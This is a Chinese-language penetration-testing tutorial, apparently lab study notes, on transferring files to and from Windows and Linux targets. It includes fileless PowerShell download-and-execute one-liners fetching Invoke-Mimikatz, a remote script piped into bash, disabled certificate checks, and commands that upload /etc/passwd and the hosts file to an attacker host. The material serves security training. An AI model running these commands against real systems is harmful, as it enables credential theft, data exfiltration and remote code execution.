Windows文件传输

概述

Windows 操作系统在过去几年中不断发展,新版本带来了不同的文件传输工具。了解 Windows 中的文件传输可以帮助攻击者和防御者。

下载

PowerShell Base64 编码和解码

根据我们要传输的文件大小,我们可以使用不需要网络通信的不同方法。如果我们能够访问终端,我们可以将文件编码为 base64 字符串,从终端复制其内容,并执行反向操作,即解码文件以恢复原始内容。让我们看看如何使用 PowerShell 来实现这一点。

在使用此方法的一个关键步骤是确保您要编码和解码的文件是正确的。我们可以使用 md5sum,这是一个计算和验证 128 位 MD5 校验和的程序。MD5 哈希函数作为一个紧凑的数字指纹来标识文件,这意味着文件应该在所有地方都有相同的 MD5 哈希值。让我们尝试传输一个示例 ssh 密钥。它可以来自我们的 Pwnbox 到 Windows 目标。

检查 SSH 密钥 MD5 哈希

1
md5sum id_rsa

将 SSH 密钥编码为 Base64

1
cat id_rsa |base64 -w 0;echo

我们可以复制这些内容并将其粘贴到 Windows PowerShell 终端中,并使用一些 PowerShell 函数来解码它。

1
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))

最后,我们可以使用 Get-FileHash cmdlet 确认文件是否已成功传输,它执行的功能与 md5sum 相同。

确认 MD5 哈希值匹配

1
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

PowerShell Web 下载

大多数公司允许通过防火墙进行 HTTPHTTPS 出站流量,以允许员工生产力。利用这些传输方法进行文件传输操作非常方便。然而,防御者可以使用网络过滤解决方案来阻止访问特定网站类别,阻止下载特定文件类型(如.exe),或在更严格的网络中仅允许访问白名单中的域名列表。

PowerShell 提供了许多文件传输选项。在任何版本的 PowerShell 中,都可以使用 System.Net.WebClient 类通过 HTTPHTTPSFTP 下载文件。下表描述了 WebClient 方法用于从资源下载数据:

Method 方法 Description 描述
OpenRead 将资源中的数据作为流返回。
OpenReadAsync 从资源获取数据而不阻塞调用线程。
DownloadData 从资源下载数据并返回字节数组。
DownloadDataAsync 从资源中下载数据,并返回一个字节数组,而不会阻塞调用线程。
DownloadFile 从资源下载数据到本地文件。
DownloadFileAsync 从资源下载数据到本地文件,不阻塞调用线程。
DownloadString 从资源下载一个 String 并返回一个 String。
DownloadStringAsync 从资源下载一个 String,不阻塞调用线程。

PowerShell DownloadFile 方法

我们可以指定类名 Net.WebClient 和方法 DownloadFile ,并使用与目标文件下载 URL 和输出文件名对应的参数。

文件下载
1
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
1
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
无文件方法

无文件攻击通过使用某些操作系统功能来下载有效负载并直接执行。PowerShell 也可以用于执行无文件攻击。我们不必将 PowerShell 脚本下载到磁盘,而是可以使用 Invoke-Expression 命令或别名 IEX 直接在内存中运行它。

1
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

IEX 也接受管道输入。

1
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest

从 PowerShell 3.0 开始,Invoke-WebRequest 命令也可用,但在下载文件时明显较慢。你可以使用 iwrcurlwget 的别名,而不是 Invoke-WebRequest 的全名。

1
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

PowerShell 常见错误

可能存在 Internet Explorer 首次启动配置未完成的情况,这会阻止下载。

image.png

这可以使用参数 -UseBasicParsing 绕过。

1
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

PowerShell 下载中的另一个错误与 SSL/TLS 安全通道有关,如果证书不受信任。我们可以使用以下命令绕过该错误:

1
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

1
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB下载

服务器消息块协议(SMB 协议)运行在 TCP/445 端口,在企业网络中常见,其中运行着 Windows 服务。它使应用程序和用户能够将文件传输到远程服务器。

创建 SMB 服务器

1
sudo impacket-smbserver share -smb2support /tmp/smbshare

在arch中:

1
sudo smbserver share -smb2support /tmp/smbshare

从 SMB 服务器复制文件

1
copy \\192.168.220.133\share\nc.exe

新版本的 Windows 会阻止未经身份验证的访客访问,正如以下命令所示:

1
2
3
copy \\192.168.220.133\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

此时需要设置用户密码

使用用户名和密码创建 SMB 服务器

1
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

挂载 SMB 服务器(使用用户名和密码)

1
net use n: \\192.168.220.133\share /user:test test

FTP下载

另一种传输文件的方式是使用 FTP(文件传输协议),它使用 TCP/21 端口和 TCP/20 端口。我们可以使用 FTP 客户端或 PowerShell 的 Net.WebClient 从 FTP 服务器下载文件。

然后我们可以指定端口号 21,因为默认情况下 pyftpdlib 使用端口 2121。如果我们不设置用户名和密码,匿名认证是默认启用的。

设置 Python3 FTP 服务器

1
sudo python3 -m pyftpdlib --port 21

设置好 FTP 服务器后,我们可以使用 Windows 预装的 FTP 客户端或 PowerShell Net.WebClient 进行文件传输。

使用 PowerShell 从 FTP 服务器传输文件

1
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

当我们获得远程机器的 shell 时,可能没有交互式 shell。如果那样,我们可以创建一个 FTP 命令文件来下载文件。首先,我们需要创建一个包含我们想要执行的命令的文件,然后使用 FTP 客户端使用该文件来下载该文件。

为 FTP 客户端创建命令文件并下载目标文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
=== 写入文件 ===
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt

=== 登录ftp ===
ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

=== 检查文件 ===
more file.txt
This is a test file

上传

也存在密码破解、分析、数据窃取等情况,在这些情况下我们必须将目标机器上的文件上传到我们的攻击主机。我们可以使用与下载操作相同的方法,但现在用于上传。让我们看看我们如何以各种方式完成文件上传。

PowerShell Base64 编码和解码

使用 PowerShell 编码文件

1
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
1
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm

我们复制这些内容并将其粘贴到我们的攻击主机中,使用 base64 命令对其进行解码,并使用 md5sum 应用程序来确认传输是否正确。

在 Linux 中解码 Base64 字符串

1
echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts

PowerShell 网络上传

PowerShell 没有内置的上传功能,但我们可以使用 Invoke-WebRequestInvoke-RestMethod 来构建我们的上传功能。我们还需要一个接受上传的 Web 服务器,这在大多数常见的 Web 服务器工具中都不是默认选项。

攻击机执行:

1
python3 -m uploadserver

现在我们可以使用一个名为 PSUpload.ps1 的 PowerShell 脚本,该脚本使用 Invoke-RestMethod 来执行上传操作。该脚本接受两个参数 -File ,我们用它来指定文件路径,以及 -Uri ,这是我们上传文件的服务器 URL。让我们尝试从我们的 Windows 主机上传主机文件。

用于将文件上传到 Python 上传服务器的 PowerShell 脚本

1
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
1
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

PowerShell Base64 Web 上传

另一种使用 PowerShell 和 base64 编码文件进行上传操作的方法是使用 Invoke-WebRequestInvoke-RestMethod 结合 Netcat。我们使用 Netcat 来监听我们指定的端口,并将文件作为 POST 请求发送。最后,我们复制输出并使用 base64 解码函数将 base64 字符串转换为文件。

1
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
1
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

攻击机使用 Netcat 捕获 base64 数据,并使用带有解码选项的 base64 应用程序将字符串转换为文件。

1
nc -lvnp 8000

1
echo <base64> | base64 -d -w 0 > hosts

SMB上传

我们之前讨论过,公司通常允许使用 HTTP (TCP/80)和 HTTPS (TCP/443)协议进行出站流量。通常企业不允许 SMB 协议(TCP/445)从其内部网络流出,因为这可能会让他们面临潜在攻击

另一种方式是在 HTTP 上运行 SMB,使用 WebDavWebDAV (RFC 4918)是 HTTP 的扩展,HTTP 是网页浏览器和网页服务器之间通信使用的互联网协议。 WebDAV 协议使网页服务器表现得像文件服务器一样,支持协作内容创作。 WebDAV 也可以使用 HTTPS。

当你使用 SMB 时,它将首先尝试使用 SMB 协议连接,如果没有可用的 SMB 共享,它将尝试使用 HTTP 连接。

配置 WebDav 服务器

要设置我们的 WebDav 服务器,我们需要安装两个 Python 模块, wsgidavcheroot (你可以在这里阅读更多关于这个实现的信息:wsgidav github)。安装它们后,我们在目标目录中运行 wsgidav 应用程序。

使用 WebDav Python 模块

1
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

连接到 Webdav 共享

现在我们可以尝试使用 DavWWWRoot 目录连接到共享。

1
dir \\192.168.49.128\DavWWWRoot

1
2
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

FTP上传

使用 FTP 上传文件与下载文件非常相似。我们可以使用 PowerShell 或 FTP 客户端来完成操作。在我们使用 Python 模块 pyftpdlib 启动 FTP 服务器之前,我们需要指定选项 --write 以允许客户端将文件上传到我们的攻击主机。

1
sudo python3 -m pyftpdlib --port 21 --write

现在让我们使用 PowerShell 上传功能将文件上传到我们的 FTP 服务器。

PowerShell 上传文件

1
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

为 FTP 客户端创建一个命令文件以上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
=== 准备好文件 ===
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt

=== 启动ftp ===
ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

使用代码进行文件传输

我们通常会在目标机器上发现安装了不同的编程语言。Python、PHP、Perl 和 Ruby 等编程语言在 Linux 发行版中很常见,但也可以在 Windows 上安装,尽管这种情况远不常见。

我们可以使用 Windows 的默认应用程序,如 cscriptmshta ,来执行 JavaScript 或 VBScript 代码。JavaScript 也可以在 Linux 主机上运行。

下载

python

Python 是一种流行的编程语言。目前,支持版本 3,但我们可能会发现仍然存在 Python 版本 2.7 的服务器。 Python 可以使用选项 -c 从操作系统命令行运行单行代码。让我们看一些示例:

Python 2 - 下载

1
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - 下载

1
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

PHP 也非常普遍,并提供了多种文件传输方法。根据 W3Techs 的数据,使用 PHP 作为已知服务器端编程语言的网站占所有网站的 77.4%。尽管信息不够精确,且数字可能略低,但在执行攻击操作时,我们经常会遇到使用 PHP 的网络服务。

使用 File_get_contents() 的 PHP 下载

1
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

file_get_contents()file_put_contents() 的另一种替代方法是 fopen() 模块。我们可以使用这个模块来打开一个 URL,读取它的内容并将其保存到一个文件中。

使用 Fopen() 下载 PHP

1
2
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

将 PHP 文件下载并通过管道传递给 Bash

1
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby - 下载文件

1
MichelleCarter@htb[/htb]$ ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl - 下载文件

1
MichelleCarter@htb[/htb]$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

JavaScript

JavaScript 是一种脚本或编程语言,允许您在网页上实现复杂功能。与其他编程语言一样,我们可以用它来做很多事情。

以下 JavaScript 代码基于这篇帖子,我们可以用它来下载文件。我们将创建一个名为 wget.js 的文件,并保存以下内容:

1
2
3
4
5
6
7
8
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

我们可以使用以下命令从 Windows 命令提示符或 PowerShell 终端执行我们的 JavaScript 代码并下载文件。

使用 JavaScript 和 cscript.exe 下载文件

1
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

VBScript(”Microsoft Visual Basic Scripting Edition”)是由微软开发的一种基于 Visual Basic 的 Active Scripting 语言。自 Windows 98 以来,VBScript 默认安装在每一款桌面版的 Microsoft Windows 中。

以下是基于此的 VBScript 示例。我们将创建一个名为 wget.vbs 的文件,并保存以下内容:

1
2
3
4
5
6
7
8
9
10
11
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with

我们可以使用以下命令从 Windows 命令提示符或 PowerShell 终端执行我们的 VBScript 代码并下载文件。

使用 VBScript 和 cscript.exe 下载文件

1
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

使用 Python3 进行上传操作

如果我们想要上传文件,我们需要了解特定编程语言中的函数来执行上传操作。Python3 的 requests 模块允许你使用 Python 发送 HTTP 请求(GET、POST、PUT 等)。如果我们想要将文件上传到我们的 Python3 uploadserver,我们可以使用以下代码。

启动 Python uploadserver 模块

1
python3 -m uploadserver 

使用 Python 一行代码上传文件

1
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

其他文件传输方式

Netcat

Netcat(通常缩写为 nc )是一个用于通过 TCP 或 UDP 读取和写入网络连接的计算机网络工具,这意味着我们可以用它来进行文件传输操作。

PowerShell 会话文件传输

在某些情况下,HTTP、HTTPS 或 SMB 可能不可用。如果出现这种情况,我们可以使用 PowerShell 远程处理(即 WinRM)来执行文件传输操作。

PowerShell 远程处理允许我们使用 PowerShell 会话在远程计算机上执行脚本或命令。管理员通常使用 PowerShell 远程处理来管理网络中的远程计算机,我们也可以用它进行文件传输操作。默认情况下,启用 PowerShell 远程处理会创建一个 HTTP 监听器和一个 HTTPS 监听器。这些监听器分别运行在默认端口 TCP/5985(HTTP)和 TCP/5986(HTTPS)。

RDP

远程桌面协议(RDP)在 Windows 网络中常用于远程访问。我们可以通过复制粘贴使用 RDP 传输文件。我们可以右键点击并从我们连接的 Windows 机器上复制文件,然后将其粘贴到 RDP 会话中。

如果我们从 Linux 连接,可以使用 xfreerdprdesktop 。在撰写本文时, xfreerdprdesktop 允许从目标机器复制到 RDP 会话,但在某些情况下,这可能无法按预期工作。

作为复制粘贴的替代方案,我们可以在目标 RDP 服务器上挂载本地资源。 rdesktopxfreerdp 可用于在远程 RDP 会话中暴露本地文件夹。

1
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
1
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

受保护的文件传输

Windows 文件加密

在 Windows 系统上,可以使用多种方法来加密文件和信息。其中最简单的方法之一是 Invoke-AESEncryption.ps1 PowerShell 脚本。该脚本体积小巧,可提供文件和字符串的加密功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"

Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded ciphertext.

.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="

Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.

.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin

Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"

.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path file.bin.aes

Description
-----------
Decrypts the file "file.bin.aes" and outputs the decrypted file "file.bin"
#>
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param
(
[Parameter(Mandatory = $true)]
[ValidateSet('Encrypt', 'Decrypt')]
[String]$Mode,

[Parameter(Mandatory = $true)]
[String]$Key,

[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,

[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path
)

Begin {
$shaManaged = New-Object System.Security.Cryptography.SHA256Managed
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
}

Process {
$aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))

switch ($Mode) {
'Encrypt' {
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}

if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".aes"
}

$encryptor = $aesManaged.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()

if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}

if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File encrypted to $outPath"
}
}

'Decrypt' {
if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}

if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) {
Write-Error -Message "File not found!"
break
}
$cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName -replace ".aes"
}

$aesManaged.IV = $cipherBytes[0..15]
$decryptor = $aesManaged.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
$aesManaged.Dispose()

if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}

if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
return "File decrypted to $outPath"
}
}
}
}

End {
$shaManaged.Dispose()
$aesManaged.Dispose()
}
}

导入模块 调用-AESEncryption.ps1

1
Import-Module .\Invoke-AESEncryption.ps1

脚本导入后,它可以加密字符串或文件,如下面的示例所示。此命令创建一个与加密文件同名但扩展名为” .aes .”的加密文件。

1
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

对于每个进行渗透测试的公司,使用非常 strongunique 的密码进行加密是至关重要的。这是为了防止敏感文件和信息被一个可能已被第三方泄露和破解的密码解密。

Linux文件加密

OpenSSL 通常包含在 Linux 发行版中,系统管理员使用它来生成安全证书,以及其他任务。OpenSSL 可用于以”nc 风格”发送文件来加密文件。

使用 openssl 加密 /etc/passwd

-aes256 为例

1
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

使用 openssl 解密 passwd.enc

1
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd      

HTTP/HTTPS加密

Nginx - 启用 PUT

对于 Apache 的文件传输,一个不错的选择是 Nginx,因为配置更简单,而且模块系统不会导致 Apache 造成的安全问题。

当允许 HTTP 上传时,必须确保用户无法上传 web shells 并执行它们。 Apache 在这方面很容易让我们自己陷入困境,因为 PHP 模块喜欢执行以 PHP 结尾的任何内容。配置 Nginx 使用 PHP 远非简单。

创建一个目录来处理上传的文件

1
sudo mkdir -p /var/www/uploads/SecretUploadDirectory

将所有者更改为 www-data

1
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

创建 Nginx 配置文件

通过创建文件 /etc/nginx/sites-available/upload.conf 并包含以下内容来创建 Nginx 配置文件:

1
2
3
4
5
6
7
8
server {
listen 9001;

location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}

将我们的站点链接到 sites-enabled 目录

1
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

启动 Nginx

1
sudo systemctl restart nginx.service

使用 cURL 上传文件

1
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt